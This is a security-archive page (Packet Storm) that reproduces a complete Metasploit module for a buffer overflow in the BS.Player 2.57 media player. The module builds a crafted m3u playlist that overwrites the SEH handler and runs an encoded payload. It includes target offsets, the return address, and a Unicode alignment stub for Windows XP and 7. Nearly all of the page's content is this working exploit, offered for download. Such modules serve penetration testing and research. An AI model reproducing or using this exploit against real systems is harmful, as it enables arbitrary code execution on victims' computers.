exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)

BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)
Posted Jan 18, 2012
Authored by Chris Gabriel, C4SS!0 G0M3S | Site metasploit.com

This Metasploit module exploits a buffer overflow in BS.Player 2.57. When the playlist import is used to import a specially crafted m3u file, a buffer overflow occurs allowing arbitrary code execution.

tags | exploit, overflow, arbitrary, code execution
SHA-256 | 68ebe76c4a4336498d6613a83e8970ae062cd723584b5b6e76c16784d938d326

BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)

Change Mirror Download
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'BS.Player 2.57 Buffer Overflow Exploit (Unicode SEH)',
'Description' => %q{
This module exploits a buffer overflow in BS.Player 2.57. When
the playlist import is used to import a specially crafted m3u file,
a buffer overflow occurs allowing arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 G0M3S ', # Original Exploit
'Chris Gabriel', # MSF Module
#Greets: Corelan team for mona.py & awesome tutorials
],
'References' =>
[
[ 'URL', 'http://www.exploit-db.com/exploits/15934/' ]
],
'DefaultOptions' =>
{
'ExitFunction' => 'process',
#'InitialAutoRunScript' => 'migrate -f',
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00\x0a\x0d\x1a\x80",
'DisableNops' => true,
'StackAdjustment' => -3500,
},

'Targets' =>
[
[ 'Windows XP',
{
# pop ecx # pop ebp # ret 0c
# ASLR: False, Rebase: False, SafeSEH: False
# v2.5.7.1051 (bsplayer.exe)
'Ret' => "\x2f\x49",
'Offset' => 4102,
'Padding' => 1879
}
],
[ 'Windows 7',
{
# pop ecx # pop ebp # ret 0c
# ASLR: False, Rebase: False, SafeSEH: False
# v2.5.7.1051 (bsplayer.exe)
'Ret' => "\x2f\x49",
'Offset' => 4102,
'Padding' => 1931
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jan 07 2010',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
], self.class)

end

def exploit

nseh = "\x61\x42"

align = ''
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x58" # POP EAX
align << "\x6d" # PAD
align << "\x50" # PUSH EAX
align << "\x6d" # PAD
align << "\xc3" # RET

enc = framework.encoders.create('x86/unicode_mixed')
register_to_align_to = "EAX"
enc.datastore.import_options_from_hash({ 'BufferRegister' => register_to_align_to })
unicodepayload = enc.encode(payload.encoded, nil, nil, platform)

padding = rand_text_alpha_lower(target['Padding'])

buffer = "http://"
buffer << rand_text_alpha_lower(target['Offset'])
buffer << nseh
buffer << target['Ret']
buffer << align
buffer << padding
buffer << unicodepayload

file_create(buffer)

end
end
Login or Register to add favorites

File Archive:

July 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    52 Files
  • 2
    Jul 2nd
    0 Files
  • 3
    Jul 3rd
    0 Files
  • 4
    Jul 4th
    11 Files
  • 5
    Jul 5th
    8 Files
  • 6
    Jul 6th
    8 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close